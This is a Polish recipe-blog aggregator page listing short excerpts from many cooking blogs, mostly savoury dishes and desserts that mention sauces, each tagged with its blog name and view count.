Di gotuje
Warsztaty z Inką – relacja 213

wartościach odżywczych, po czym zostaliśmy podzieleni na grupy i zabraliśmy się do przygotowywania bezglutenowych dań. Takim też sposobem powstały pyszne pierogi z mąki gryczanej z mielonym indykiem i sosem grzybowym, kopytka z pieczonej dyni podane z gulaszem z gesich serc z boczniakami, smazone filety z pstrąga i sałatką z soczewica ze swieżymi warzywami i domowe curry wegetariańskie z tajskimi warzywami

karmelowy
Duszony indyk z cieciorką i pietruszką 173

pokroić i zeszklić na łyżce oleju. Do mięsa dodać cebulkę z czosnkiem, wlać wino, wszystkie przyprawy, delikatnie posolić i dusić na małym ogniu do miękkości. W razie potrzeby, gdyby sos za bardzo zredukował się dolać wody.  Pod koniec duszenia wsypać odsączoną cieciorkę, posiekaną natkę pietruszki i kilka minut podgotować. Najlepiej podawać z ryżem. Smacznego

na moim stole...
Pieczeń rzymska- mięso mielone w innym wydaniu. 206

stopni na 45 min, po tym czasie rozwijamy folię i wkładamy do piekarnika jeszcze na 5 min. Gotowe, Smacznego! Można podawać na ciepło z tłuczonymi ziemniaczkami i ciepłym sosem np. pieprzowym lub na zimno do kanapek :) pozdrawiam

Tagebuch po polsku
Medaliony wieprzowe. 210

Kłaść na rozgrzaną, natłuszczoną patelnię (ja użyłam grillowej), docisnąć. Zostawić na kilka minut. Powtórzyć z drugiej strony.  Podawać z ulubionymi dodatkami, surówkami np zerknij tutaj , sałatkami lub sosami. Lekkie i sycące! Smacznego

Tagebuch po polsku
Mięso mielone zawijane w cukinię i boczek 217

około 40 min. (aż boczek się zarumieni wedle upodobania bardziej lub mniej a po bokach mięso zmieni kolor) Gotowe! Podawać z ziemniakami, ryżem lub kaszą z surówkami lub ulubionymi sosami

Tagebuch po polsku
Kurczak w chipsach 323

oczyszczamy z błonek i kroimy na nieduże kawałki, bądź paski. Chipsy drobno rozkruszamy (można przemielić na przykład w blenderze, ale wystarczy dokładnie pognieść). Kawałki kurczaka moczymy dokładnie w przygotowanym sosie czosnkowym i obtaczamy w chipsach i układamy na blaszce wyłożonej papierem do pieczenia. Pieczemy w piekarniku ok. 30 minut w temperaturze 180-200 stopni, aż panierka nabierze ładnego, rumianego koloru

Gotuj z Rumcajsem
Kurczak w sosie śmietanowo-ziołowym 398

kolejne 5 minut pod przykryciem, co jakiś czas mieszając. Odkrywamy garnek, dodajemy śmietanę, zioła, pieprz i sól. Mieszamy dokładnie. Gotujemy jakieś 15-20 minut, aż woda nieco odparuje i sos nam się zagęści. Podawać z ryżem

Gotuj z Rumcajsem
Roladki czosnkowe z fetą 206

minut. Powstały wywar z cebulą wlewamy do roladek i wstawiamy do piekarnika nagrzanego do 180 stopni na 30 minut pod przykryciem i na kolejne 30 bez pokrywki. Ja pozostały sos zaciągnąłem łyżką mąki po wyłowieniu roladek i cebuli (uwaga na grudki

Gotuj z Rumcajsem
Kotleciki ruskie, czyli pierogi inaczej 203

zmiękną, zwijamy je delikatnie w rulon. Kroimy na dość grube plastry. Maczamy w roztrzepanym jajku i obtaczamy w bułce tartej. Smażymy na oleju na złoty kolor. Podawać z ulubionym sosem i surówką

Gotuj z Rumcajsem
Khobz - marokanskie chlebki 254

Tradycyjne marokańskie chlebki podawane do każdego posiłku. Używane często zamiast sztućców do nabierania zup, warzyw, mięs i sosów. Tradycyjnie pieczone w opalanych drewnem, glinianych piecach. W różnych regionach dodaje się do nich rozmaitych rzeczy, zależnie od własnych upodobań i przeznaczenia chlebków.  Składniki: 300g mąki pszennej 50g mąki kukurydzianej 300ml wody torebka drożdży instant łyżeczka soli łyżeczka cukru łyżeczka mielonej

Gotuj z Rumcajsem
Ave Cezar 166

oczekiwaniu na gości przygotowałam sałatkę Cezar jest składniki to : sałata ser żółty kurczaczek sos czosnkowy na bazie majonezu i grzanki ....tylko tyle a efekt

Kuchcikowoasi...Kawałek mnie
Sałatka z zupek chińskich 4158

pokroić w kostkę. Ogórka obrać i również pokroić w kostkę. Do zimnego makaronu dodać szynkę, paprykę, ogórek i kukurydzę. Majonez wymieszać ze śmietaną, dodać przeciśnięty przez praskę czosnek. Wymieszać. Sos dodać do sałatki i dokładnie wymieszać. Doprawić solą i pieprzem

My simple kitchen
Spirale z ciasta francuskiego z serem 197

płaty gotowego ciasta.  Trochę sera i wkład własny. Spirale doskonale smakują popijane barszczykiem lub najzwyczajniej bez niczego. Można podawać  na zimno lub jeszcze gorące. Do tego polecam sos, przepis TU SKŁADNIKI  2 płaty ciasta francuskiego 30 dag sera mozzarella ( stary) jajko do smarowania WYKONANIE Płat ciasta dzielimy na połowę , a następnie na  prostokąty, Posypujemy startym serem

W kuchennym oknie Ewy
Sos czosnkowo - pomidorowy do przekąsek 176

Sos do przekąsek i innych dań. Polecam bardzo smaczny i prosty. Na pewno doskonały do przekąski z ciasta francuskiego, przepis  TU SKŁADNIKI 200 ml gęstego jogurtu (np. grecki) 2 łyżki majonezu 3 ząbki czosnku 2 pomidory bazylia świeża sól, pieprz WYKONANIE  Pomidory obrać ze skórki i zmiksować. Czosnek wycisnąć przez praskę. Kilka listków bazylii drobno posiekać. Wszystko połączyć

W kuchennym oknie Ewy
Stefanka , ciasto miodowe z grysikiem . 237

Witajcie :) Często tak mam że siadam w swoim ulubionym fotelu z kubkiem gorącej herbaty i wspominam dawne czasy z dzieciństwa :) moje pierwsze zupy , sosy a nawet ciasta , pierwszym moim ciastem które upiekłam w wieku 14 lat była babka . No i przypomniało mi się ciasto miodowe z masą z kaszy manny , pyszne było , jak ja  go dawno nie piekłam . Dzisiaj

Sama słodycz i szczypta chili
Sałatka z roszponką i tuńczykiem 189

puszki. Idealna na drugie śniadanie jak i późną kolację. Najlepiej przygotować ją przed samym podaniem i na pojedynczych talerzach.  Składniki: 150 g roszponki 1 puszka tuńczyka w sosie własnym 2 małe czerwone cebule 2 pomidory jogurt grecki (kilka łyżek) sól, pieprz ewentualnie oliwa z oliwek sezam do posypania Roszponkę umyć, osuszyć. Pomidory umyć i pokroić na mniejsze kawałki. Cebulę

Ugotować
Frytki z batatów z kminem rzymskim 145

łyżeczki kminu rzymskiego ·          sól i pieprz Przygotuj: naczynie do zapiekania/blaszkę Podaj z: ·          sosem czosnkowym lub ketchupem Bataty kroimy na dość spore frytki – one i tak zmniejszą swoją objętość i polewamy oliwą oraz posypujemy solą, pieprzem i, jeśli za nim przepadamy, mielonym kuminem. Pieczemy

Bazując na smaku
Deser chałwowo - orzechowy z dodatkiem lodów Carte d'Or Chocolate Brownie 207

wprowadza dwa nowe mocno czekoladowe smaki. Wykorzystane przeze mnie lody Catte d'Or Chocolate Brownie serwowane są w postaci 6 pięknych rozetek posypanych pokruszonymi ciastkami brownie oraz polane sosem czekoladowym. Rozetki te sprawiają, że nie trzeba już dodatkowo dekorować deseru, ponieważ same w sobie są wystarczająco efektownym wykończeniem. Wpis zawiera lokowanie produktu

Z miłości do słodkości
Szybka sałatka z tuńczykiem 431

Przepis na sałatkę z tuńczykiem, kukurydzą i majonezem. Szybka do zrobienia i smaczna. Składniki: puszka tuńczyka w sosie własnym w kawałkach 4 ogórki konserwowe mała cebula czerwona 4 jajka na twardo puszka kukurydzy 3-4 łyżki majonezu sól, pieprz Przygotowanie Jajka gotujemy na twardo. Tuńczyka i kukurydzę odsączamy na sicie. Tuńczyka rozdrabniamy widelcem. Jajka, cebulę i ogórki kroimy w kostkę

e-PrzepisyKulinarne
Lekkie pierożki borówkowe 179

razem, bez obawy, że gdy wyjmiemy je kiedyś do zjedzenia, spotka nas wielka zlepiona papka pierogowa ;) I zapewniam Was, że mrożone smakują równie wiosennie! :) Najczęściej podaję takie pierożki z sosem jogurtowym, który podkreśla owocowy smak i dodaje słodkości. Składniki: 2 łyżki jogurtu naturalnego 1 łyżka miodu 1/3 szklanki mleka jeśli bardzo lubimy słodkie - 1 łyżka cukru pudru Wszystkie składniki mieszamy

aa-kuku - czyli jak żyć zdrowo i pysznie!
Kurczak curry z ryżem i kolorowymi warzywami 396

Kurczak curry z ryżem i kolorowymi warzywami - na ciepło danie obiadowe, na zimno z sosem czosnkowym pyszna sałatka. Do przygotowania dania użyłam aromatycznej przyprawy Curry Premium od firmy Sk worcu . Składniki: 400 g piersi z kurczaka 300 g fasolki szparagowej zielonej (może być mrożona) 280 g kukurydzy z puszki 1/2 czerwonej papryki 1 cebula 2 torebki ryżu parabolicznego (1 szklanka

Na Ciasteczkowych Papierach
Kotlety z kaszy kuskus 295

Następnie dodajemy natkę pietruszki, jajka, mąkę, sól i pieprz. Mieszamy do połączenia składników. Formujemy nieduże kotleciki. Smażymy z obu stron na niewielkiej ilości oleju. Ja swoje kotleciki podałam z sosem pieczarkowym .  Życzę smacznego

Czerwona Porzeczka
Zapiekany gulasz z serowymi ziemniakami 234

pozostawić na 40 minut, od czasu do czasu mieszając. Po tym czasie dodać wino i wszystkie przyprawy, dusić jeszcze 15 minut, aż mięso będzie miękkie. Opcjonalnie można zagęścić sos małą ilością mąki ziemniaczanej, wymieszanej z zimną wodą. W czasie przygotowywania gulaszu ugotować ziemniaki, odcedzić, a następnie utłuc z dodatkiem masła i mleka. Wymieszać ze startymi serami. Doprawić solą i pieprzem

Świat Domowej Kuchni
Kotlety ziemniaczane - ruskie 295

oczkach. Ser rozdrobnić, dodać sól i pieprz do smaku oraz jajka i dobrze wyrobić masę. Uformować 7-8 kotletów, panierować w bułce tartej i usmażyć na tłuszczu. Podawać z sosem

Gotowanie jest łatwe
Zielone pizzerinki z warkoczami 313

Tradycyjna pizza w nowej , praktycznej odsłonie. Zamiast jednej zrobiłam kilka mniejszych. Mój syn był zachwycony tym pomysłem. Szczególnie przypadł mu do gustu sos do pizzy firmy Folwark. Teraz używa go nawet do kanapek. Składniki 25 g drożdży ok. 400 … Czytaj dalej

Fiołkowa Kuchnia Małgorzaty
Tort orzechowo- kajmakowy bez pieczenia 224

otrzymałam do testowania od firmy MAKAR . Orzechy włoskie to składnik niezbędny w każdej kuchni. Możemy je wykorzystywać absolutnie do wszystkiego. Zarówno do ciast, ciastek, deserów, jak i wytrawnych farszy, sosów czy panierki. Orzechy włoskie MAKAR mają wyjątkowy, lekko słodki smak. Są idealnie wysuszone i pozbawione goryczki. Produkt jest wart polecenia i zakupu. Serdecznie zachęcam do zakupu produktów firmy  MAKAR

Tradycyjna kuchnia Kasi
Zupa chińska z kurczakiem 248

piersi kurze i korpus z kurczaka. Zagotować, zdjąć szumy. Teraz już zmniejszyć gaz, dodać grzybki i doprawić do smaku solą. Gotować 10 minut. Dodać warzywa z paczki, pędy babusa, sos sojowy, chilli posiekane drobno ( można chilli ominąć) i potarty świeży imbir. Zagotować i doprawić w razie potrzeby. Mięso wyjąć z zupy, obrać korpus a piersi kurze pokroić w cienkie paseczki

Kuchnia Pokoleń
Kurczak w kurkumie z jabłkiem i szalotką 144

grillową. Obsmaż 5-6 minut piersi z każdej strony i przełóż na talerz.  Każdą z piersi polej przygotowanym confit ze karmelizowanych jabłek i szalotki. Podawaj z sałatką z sosem vinegret. Smacznego

Bike By Life
Przyjaciele i znajomi? 219

był suchy. Był delikatny i soczysty. Niby typowe puree, ale kremowe, rozpływające się w ustach. Tak jak lubię. Sałatka z wielu warzyw idealnie komponowała się z dobrze doprawionym sosem vinegret. No i to co zachwalać będę zawsze. Słodkości, które w każdej knajpie próbuję, oceniam i jeśli warto, wracam ponownie. Fondant z lodami, no cóż, był obłędny. Doskonale upieczony, w środku

Bike By Life
Krewetki z czosnkiem i białym winem 147

rozgrzanej patelni dodaj masło i oliwę z oliwek. Smaż krewetki , doprawiamy solą, pieprzem oraz chilli i zalewamy winem. Po około 10 min, gdy wino odparuje podajemy wraz z sosem, który zostaje na patelni oraz ciepłą bagietką. Gotowe! Smacznego

Bike By Life
Pasztet z ciecierzycy 145

wody, wymieszaj, żeby składniki się połączyły, ściągnij z ognia. Ziarna słonecznika podpraż na suchej patelni do momentu, aż zaczną przyjemnie pachnieć. Zmiksuj składniki pasztetu, czyli ciecierzycę, uprażone ziarna słonecznika, sos marchewkowo-pomidorowy i jajka. Dopraw solą i pieprzem. Masę przełóż do wysmarowanej olejem foremki. Wstaw do piekarnika nagrzanego do 200 st.C i piecz ok. 55 minut. Zostaw w formie

Bike By Life
Wołowina z warzywami i kaszą orkiszową 157

czyli wołowina z warzywami podana z kaszą orkiszową. Jesteście chętni??  Emotikon smile Składniki na 2 porcje: 1 szklanka kaszy orkiszowej 250 g wołowiny marynata do mięsa: (1 łyżka sosu sojowego, 2 łyżki oleju rzepakowego Olejowy Raj , sól morska Falksalt , pieprz czarny) marchew cebula czerwona papryka 1/2 opakowania groszku z puszki 5 pieczarek olej rzepakowy polecamy z Olejowy Raj sól

Bike By Life
Zapiekanka makaronowa z pomidorami 336

pomidorami z puszki, doprawić solą, pieprzem, papryką ostrą i słodką i wlać do zapiekanki równo wylewając na jej wierzch. Piec w piekarniku nagrzanym do 180 stopni C aż sos zgęstnieje. zapiekanka makaronowa z pomidorami

O kuchni z uczuciem
Tarhonya z gulaszem wołowym 212

smażymy jeszcze 1 minutę, oprószamy mąką, chwilę podsmażamy i zalewamy gorącym bulionem. Dodajemy wędzoną paprykę i dusimy na wolnym ogniu do miękkości mięsa. Paprykę kroimy w paski, dodajemy do sosu, dusimy razem 15 min. Do smaku doprawiamy solą i pieprzem. Tarhonyę podsmażamy na tłuszczu, po czym zalewamy gorącą wodą i gotujemy 14 min. Odsączamy, podajemy z gulaszem, posypujemy posiekaną natką

R'n'G Kitchen
Cagliari, promocja miasta w Pałacu Bonerowskim i relacja z wydarzenia 170

regionalnego makaronu z Sardynii - z szafranem  Dodatki z jarzyn  Sałatka z karczochów z bottargą Karczochy i ziemniaki z schiscionera (czosnek i pietruszka)  Sardyńska kompozycja warzyw z sosem pinzimonio (oliwa z oliwek z Parteolli, sól, pieprz)  Sery i owoce  Zestaw serów pecorino o różnej dojrzałości (świeży, średni i dojrzały) podanych z miodami z Sarrabus  Pomarańcze

Moja smaczna kuchnia
Zapiekanka ala meksikana 183

propozycję. Zapiekanka meksykańska z masą ziemniaczaną i nachosami. Zapiekanka jest pyszna, ostra i sycąca. Świetna dla tych, którzy szukają pomysłu na szybki obiad. Świetnie smakuje polana keczupem lub sosem paprykowym.   Warstwa mięsna: 500g mięsa mielonego wieprzowego cebula 3 ząbki czosnku papryka puszka czerwonej fasoli 1/2 puszki kukurydzy 3-4 łyzki koncentratu pomidorowego sól, świeżo zmielony pieprz łyżeczka przyprawy gyros

Smakołyki Asi
Kurczak ala KFC 1225

filety ;) Kurczak przygotowany w ten sposób ma niesamowicie chrupiącą panierkę i bardzo delikatne, soczyste mięso. Polecam Wam zarówno na obiad jak również jako mięsną przekąskę na imprezy. Z jogurtowymi sosami smakują po prostu wyśmienicie. Składniki: 3 filety z kurczaka sól łyżka papryki słodkiej ew. pieprz 2 szkl mąki olej do głębokiego smażenia Ciasto: 2/3 szkl mleka szkl mąki 2 jajka

Smakołyki Asi
Paluszki z kurczaka w parmezanowej panierce 201

parmezanowej panierce. Aby uzyskać grubszą "skorupkę" można jeszcze raz opanierować w jajku i bułce. Paluszki z kurczaka smażyć na mocno rozgrzanym oleju na złotobrązowy kolor. Podawać z ulubionymi sosami

Smakołyki Asi
Kotleciki jaglano-brokułowe 179

podać na obiad lub kolację. Ich zaletą jest to, że dosyć szybko się je przygotowuje, zwłaszcza jeśli zostanie nam trochę kaszy z obiadu. Świetnie smakują z ulubioną surówką lub sosem jogurtowym. Polecam :) Kotleciki podałam na półmisku "Julia Gold" od Porcelany Bogucice . 100g kaszy jaglanej brokuł 1 jajko sól, pieprz ząbek czosnku olej do smażenia bułka tarta  Brokuła umyć, podzielić

Smakołyki Asi
Pieczone ziemniaczki 178

razem użyłam sporo ziół aby były bardziej aromatyczne. Oliwka  stwierdziła, że są lepsze od frytek. Tak więc następnym razem upieczemy je sobie jako przekąskę z keczupem lub sosem czosnkowym. I na pewno są zdrowsze od frytek ;) Wam też polecam :) Talerz "Antonio" od Porcelany Bogucice . Ilość składników wg upodobania i potrzeb: ziemniaki sól morska prowansalska pieprz słodka papryka czosnek granulowany

Smakołyki Asi
Kąski z kurczaka 372

Podawać z salsami warzywnymi lub domowymi dipami. 2 filety z kurczaka 1 jajko płatki kukurydziane MARYNATA: 3 łyżki oliwy 1 łyżeczka przyprawy do kurczaka 3 ząbki czosnku 2 łyżki sosu sojowego 1 łyżka papryki mielonej słodkiej pieprz sól Wszystkie składniki marynaty rozetrzeć w misce. Fileta z kurczaka pokroić w paski i wymieszać razem z marynatą. Powinna dokładnie pokryć mięso. Odstawić

https:KKuchniaMniam
Łopatka z jelenia pieczona z grzybami 419

wstawić do piekarnika nagrzanego do 120 stopni na 3 godziny. Podczas pieczenia mięso obrócić dwa razy. Kapustę pokroić i podsmażyć na tłuszczu. Po tym czasie wyjąć mięso. Do sosu dodać kapustę i razem dusić 5 minut. Mięso pokroić w plastry, podawać z grzybami z kapustą. Dziczyznę można kupić w sklepie  Dziki Trop .       zastawa

królestwo garów
Klopsy wieprzowo-wołowe z brukselką 250

względnej miękkości – uważając jednak, by jej nie rozgotować. Mrożona brukselka będzie miękka po 5-7 minutach gotowania, świeża wymaga więcej czasu. Klopsy i brukselkę wkładamy do patelni z sosem. Lekko mieszamy, w razie potrzeby podgrzewamy. Podajemy na ciepło. Przez Krystian Kulinarna Pokusa #gallery-164 {margin: auto;} #gallery-164 .gallery-item {float: left;margin-top: 10px;text-align: center;width

Kulinarna Pokusa
TORT BEZOWY z orzechowo- czekoladowym sosem 185

papier. Wsadzić do piekarnika, zmniejszyć temperaturę do 140*C i piec przez 70 minut. Po upływie czasu nie otwierać piekarnika, pozostawić do całkowitego wystygnięcia w zamkniętym piekarniku.  SOS ORZECHOWO- CZEKOLADOWY SKŁADNIKI: 2 garści orzeszków ziemnych (nie solonych i nie prażonych) - zmiksować na pył 250 g serka mascarpone 1 opakowanie budyniu czekoladowego bez cukru 1/4 szklanki mleka 2 łyżki miodu

ClauditteMissCooking
Langos - placek węgierski 165

spory placek, kładziemy na wysypanej mąką stolnicy lub ściereczkę, przykrywamy i zostawiamy jeszcze na ok 20 min. Smażymy na gorącym oleju z obu stron. Podajemy na gorąco z sosem czosnkowym oraz tartym żółtym serem lub ketchupem. Fantazji tego dania nie ma granic: polane samą śmietaną, szalotką, wędzonym boczkiem lub szynk ą , serem owczym, również wyśmienicie smakuje na słodko - z dżemem

kgwjanczewo
Risotto z kurczkiem o smaku borowikowym . 159

Witajcie :) dzisiaj coś na szybko czyli Risotto z kurczakiem o smaku borowikowym . Ostatnio kupiłam ryż z sosem i borowikami EXQOTTO   Risotto  Steinpitz w Kauflandzie Powiem Wam że jest bardzo pyszne  i polecam wypróbować .  Do risotta użyłam przypraw od firmy  Skworcu . Zapraszam :) Składniki : 300 g Risotto Steinpitz EXQUSIT 1 podwójna pierś z kurczaka  kawałek pora

Sama słodycz i szczypta chili
Jaglanka na mleku & słodki dodatek. 195

patrzę, raczej jakoś tak realistycznie, ale jeszcze trochę czasu jest może się coś zmieni :)  jasny biszkopt przełożony kremem z mascarpone i białej czekolady / z kawą i gruszkami, polany sosem z białej czekolady

More food, love and dreams
Dyniowy "sernik" 161

łyżki i włączamy grzanie. Po chwili, gdy zacznie skwierczeć dodajemy łyżkę masła i mieszając intensywnie obserwujemy rozpuszczanie się cukru. Gdy już zacznie gęstnieć i matowieć, dolewamy odrobinę śmietanki, by sos był płynny. Trudno określić ilość. Mieszamy i gotujemy dopóki nie z ciemnieje do koloru toffi. Ciepłym polewamy nasz sernik i gotowe

Karczma Honorietty
Placki ziemniaczane z boczkiem i czosnkiem 187

Składniki: 10 większych ziemniaków 3 cebule 1 cebula czerwona 4-5 ząbków czosnku 250 - 300 g wędzonego boczku do smaku tymianku, lubczyku, majeranku, estragonu sól, pieprz kilka kropel ciemnego sosu sojowego 4 kopiaste łyżki mąki ziemniaczanej 2 jajka śmietana z Bażanowic z łyżeczką cukru, kilkoma kroplami octu jabłkowego + sól i pieprz Przygotowanie: Ziemniaki obrać, zetrzeć razem z cebulami, boczek zmielić

Gaździnka warzy
Bezglutenowe warsztaty z Inką 202

dania Tomek bardzo barwnie opowiadał nam o swoich podróżach i doświadczeniach kulinarnych. Dania które przygotowaliśmy na warsztatach to: pierogi z maki gryczanej z kaszą jaglaną i mielonym indykiem polane sosem grzybowym kopytka z pieczonej dyni podane z gulaszem z  gęsich serc z boczniakami smażone filety z pstrąga i sałatki  z soczewicy ze świeżymi  warzywami domowe żółte curry

Kulinarne przygody Gatity
Prosta tarta marcepanowa ze śliwkami 198

rosty deser z soczystymi śliwkami pachnący migdałami i do tego zawsze wychodzi :) Wystarczy posypać cukrem pudrem różanym  lub waniliowym, albo podać z gorącym sosem owocowym. Polecamy :) Porcja: forma o średnicy 25 cm   Czas przygotowania: 90 minut lub 50 minut z gotowego ciasta   Składniki:   Ciasto na  tarte   z tego przepisu lub  opakowanie ciasta

SzczyptaSmaQ
Trifle z jabłkami i karmelem 190

zagląda do mnie na Cafe Amaretto ten pewnie zauważył, że ostatnio dominują tam przepisy łączące jabłka z karmelem. Można tam znaleźć t artę z jabłkami i sosem karmelowym oraz roladę jabłkową z polewą karmelową . Wszystko w związku z poszukiwaniem idealnego przepisu na karmel i metody jego przygotowania. Udało mi się w końcu to osiągnąć i spieszę wobec tego z przepisem

Wiem co jem
Szynka pieczona w rękawie . 319

jego połowy wlać wodę. Piec w temperaturze 170 / 180 stopni około 2,5 godziny aż mięso będzie miękkie. Z wywaru który powstał z pieczenia mięsa można zrobić sos. Podawać do obiadu lub zimne na kanapki . Smacznego

Sama słodycz i szczypta chili
szybka sałatka z tuńczykiem 463

potrzebujemy do ugotowania jajek. Szybki sposób przygotowania i proste składniki, to niewątpliwe atuty tej sałatki, kolejnym jest jej wyborny smak. składniki dla sześciu osób puszka tuńczyka w sosie własnym 4 jajka 200 g fasoli konserwowej ( lub ugotowanej) 200 g kukurydzy konserwowej 200 g groszku konserwowego 2 łyżki majonezu 4-6 łyżek jogurtu naturalnego pół pęczka szczypiorku sól, pieprz sposób przygotowania

Miód i pieprz
Sałatka z pęczaku z pieczonym buraczkiem 247

wody i wystygnie. Ogórki kiszone, cebulę oraz pieczone buraczki pokroić w kostkę. Koperek drobno posiekać. Kaszę wymieszać z koperkiem i warzywami. Połączyć jogurt z majonezem, w proporcji wedle upodobań. Sos jogurtowo-majonezowy dodać do sałatki - wymieszać. Doprawić do smaku solą i pieprzem. Smacznego

kolorowotorcikowo
Kurczak w plastrach bekonu w sosie z pomidorków daktylowych 219

dymką, podlewamy śmietanką, dodajemy suszone i świeże pomidory, doprawiamy solą i pieprzem. Chwilę razem dusimy.  4. Na talerze nakładamy przygotowany makaron, układamy pocięte w plastry filety drobiowe, polewamy sosem i posypujemy zieloną częścią dymki

Apetyczna babeczka
Pasztet z wątróbką 275

czosnkiem w garnku pod przykryciem. Wątróbkę na razie zostaw na boku , przyda się później. Cebula i mięso powinny puścić „soki” i mięso powinno się dusić we własnym sosie, jednak jeśli jest go za mało (powinno być co najmniej 3 cm od dna garnka), możesz dolać trochę bulionu warzywnego albo wody (nie za dużo). Duś mięso pod przykryciem

PaleoSMAK
Rosół 300

wolnowarze, co skutkuje mniejszą ilością glutaminy w wywarze. Gotowy rosół można pić (np. szklanka-dwie dziennie), ale doskonale się też sprawdza jako podstawa samodzielnie gotowanych zup i sosów. Mocny wywar z kości można zamrozić w foremkach do lodu, tworząc swoje własne i bardzo zdrowe kostki rosołowe . Ja najczęściej gotuję rosół z kości wołowych (surowych albo pozostałościach po pieczeniu szpiku ), resztek

PaleoSMAK
Zupa gołąbkowa 289

Zupa z kapusty, mięsa mielonego i ryżu, smak domowych gołąbków w sosie pomidorowym:) Pierwszy raz robiłam taką zupę, ale nie ostatni, wszystkim bardzo smakowało. Zupa jest smaczna i syta.  Smakiem nie odbiega od tradycyjnych gołąbków. Jeśli nie masz czasu na zawijanie mięsa w kapustę, polecam tę zupę, nie zawiedziesz się :)  Doskonale smakuje i szybko się ja robi, polecam

Takie tam pichcenie
Pierogi z kaszą gryczaną i wątróbką 204

mieszając, przestudziłam, zmieliłam. Do farszu dodałam kaszę, zmielone wątróbki, jajko, sól i pieprz, wymieszałam. Ciasto rozwałkowałam , szklanką wycinałam krążki, zlepiłam brzegi. Gotowałam do miękkości ciasta. Można podawać z grzybowym sosem lub smażone na patelni

Darcia w kuchni
QUASEDILLA Z CHORIZO 223

farszu możesz użyć ulubionych składników takich jak papryka, pieczarki, szynka czy salami ale zawsze musi być ser - jest spoiwem placka. Placki kroimy na 3 trójkąty i podajemy z ulubionym sosem lub ketchupem

KuchcikoweLove
Pulpety mięsne z kukurydzą w sosie pomidorowym 153

wyrobić masę. Formować pulpety, obtaczać w mące i usmażyć na tłuszczu. Pulpety przełożyć do garnka, a na tym samym tłuszczu usmażyć drobno pokrojoną  cebulę i paprykę. Do tego sosu włożyć raz jeszcze pulpety, podprawić koncentratem pomidorowym, wymieszać, dodać kminek i zalać rosołem. Gotować na bardzo małym ogniu, po chwili dodać odsączoną kukurydzę, dogotować do miękkości i gotowe. Podawać

Tradycyjna Kuchnia
Kokosowy ryż 155

przygotowany ryż idealnie smakuje z dowolnym sosem owocowym lub podany (zapieczony) np. z jabłkami. Składniki: 25 dag ryżu 20 dag wiórek kokosowych 1 szklanka mleka szczypta cynamonu szczypta soli 3-4 goździki Wykonanie: Wiórki zalewamy wrzącym mlekiem, pół na pół z wodą  i odstawiamy na godzinę. Następnie odciskamy przez sito mleczko kokosowe. Po czym zalewamy mleczkiem kokosowym ryż, solimy

Tradycyjna Kuchnia
NALEŚNIKI JAGLANE ( z kaszy jaglanej ) – dietetyczne, bezglutenowe – BE FIT! 245

delikatne, i takie które można podawać z przeróżnymi, ulubionymi dodatkami. Świetnie smakują na słodko – z dżemem , nutellą , kremem czekoladowym , cukrem pudrem …. na wytrawnie – z mięsem , warzywami , sosem … albo na słono – zapiekane w ulubionym serem. Lekkie, smaczne, szybkie! Koniecznie wypróbujcie! Idealny pomysł zarówno na leniwe śniadanie, jak i obiad. Polecam! SKŁADNIKI: * kasza jaglana ( ugotowana

Ostra na Słodko
placek węgierski z gulaszem i sosem jogurtowym 141

Polecam placek węgierski z gulaszem i sosem jogurtowym

Ugotujmy Coś
Owsianka Banoffee 168

szczyptę soli i na średnim ogniu pod przykryciem, co jakiś czas mieszając, gotujemy owsiankę. Gotową owsiankę przelewamy do naczynka. Na (niech trochę przestygnie) owsiankę kładziemy kawałki banana, polewamy kremem (sosem), nakładamy jogurt i posypujemy kakao. Owsianka jest gotowa. smacznego.  * tutaj znajdziecie przepis na daktylowy karmel

tost z dżemem
Roladki drobiowe w papierze ryżowym 255

bruschetty. Składniki: Na 6 roladek: 2 duże filety drobiowe 8 suszonych pomidorów 6 kawałków parmezanu (0,5cm słupki o dł. ok 4 cm) 6 płatów papieru ryżowego 6 łyżeczek sosu z octem balsamicznym np. z nutką pomarańczy olej do smażenia sól, pieprz i włoska mieszanka przypraw (np. oregano, zioła prowansalskie, bazylia) Sposób przygotowania: Filety drobiowe dzielimy na 3 części, każdą

Kuchnia w czekoladzie
Kluski z marchwią 220

zagotowaniu zmniejszyć ogień, osolić i dodać odrobinę oleju. Włożyć kluski, delikatnie od spodu zamieszać. Gdy kluski wypłyną na wierzch gotować 2-3minuty. Wyjąć, przelać zimną wodą. Podawać z sosami lub podsmażoną cebulką. Smacznego

W kuchni u Moniki
Boczek pieczony - domowa wędlina 134

pomysł na kolejne porcje mięsa :) Składniki: 1,5-2 kg kawałek boczku 10 ziaren ziela angielskiego 10-13 ziaren pieprzu 3 liście laurowe 3 łyżki soli 2 łyżki ciemnego sosu sojowego 1 łyżeczka rozmarynu 1 łyżeczka lubczyku Dodatkowo: 1 duża główka czosnku 1/2 łyżeczki kminku pieprz czarny mielony Sposób przygotowania: W rondelku zagotowujemy około 2 szklanki wody, wrzucamy przyprawy

Kolorowy Przepisownik
strogonow z piersi kurczaka 3747

poleca użyć do tego dania polędwicy wołowej, ale ja dzisiaj wykonam to danie w wersji drobiowej. Po pierwsze dlatego, że jesienna pogoda zachęca do spożywania treściwych posiłków z pożywnym sosem. Po wtóre, polędwica wołowa nie należy do mięs najtańszych i według mnie, akurat w tym daniu można ją śmiało zastąpić piersią z kurczaka . Zamana taka jeszcze podkreśli delikatną naturę tego

Miód i pieprz
Kluski śląskie z bułką tartą 220

przepis na kluski z dziurką czyli kluski śląskie. Nie ma bata, żeby się nie udały. U mnie w wersji z bułką tartą, ale tu pozostawiam dowolność. Mogą być z sosem, z cebulką i boczkiem, lub polane samym masłem. Klasyk nad klasyki, nie może go zabraknąć i na moim blogu. Prosty i smaczny przepis, polecam bo naprawdę warto! Składniki: około

na moim stole...
Weganin na diecie dr Dąbrowskiej. KAPUSTA CZERWONA 241

trochę wody, - sok z połówki cytryny, - na koniec zielona cebulka, którą sypiemy już na talerzu. Efekt - bardzo fajne danie kapuściane, a zimne resztki smakują "jak kapusta, która leżała w sosie z rolad" - no,no,no ;)  Dieta nie musi być nudna, a kapusta tylko gotowana, wszystko jest w głowie, pamiętajcie

Wegański blog WSZYSTKO JEST W GŁOWIE
domowy pasztet bez pieczenia 189

oraz przeciśnięty przez praskę czosnek i smażymy, aż cebula się zeszkli. Następnie solimy, wlewamy wodę i dusimy, aż mięso będzie miękkie. Dodajemy rozdrobnioną bułkę, mieszamy i pozostawiamy, aż wchłonie sos. Na osobnej patelni smażymy wątróbkę. Następnie dodajemy ją do mięsa. Całość doprawiamy przyprawami. Wszystko mielimy maszynką o drobnych oczkach i ewentualnie jeszcze doprawiamy do smaku. (Gdyby pasztet wyszedł za twardy

Domowy Smak Jedzenia
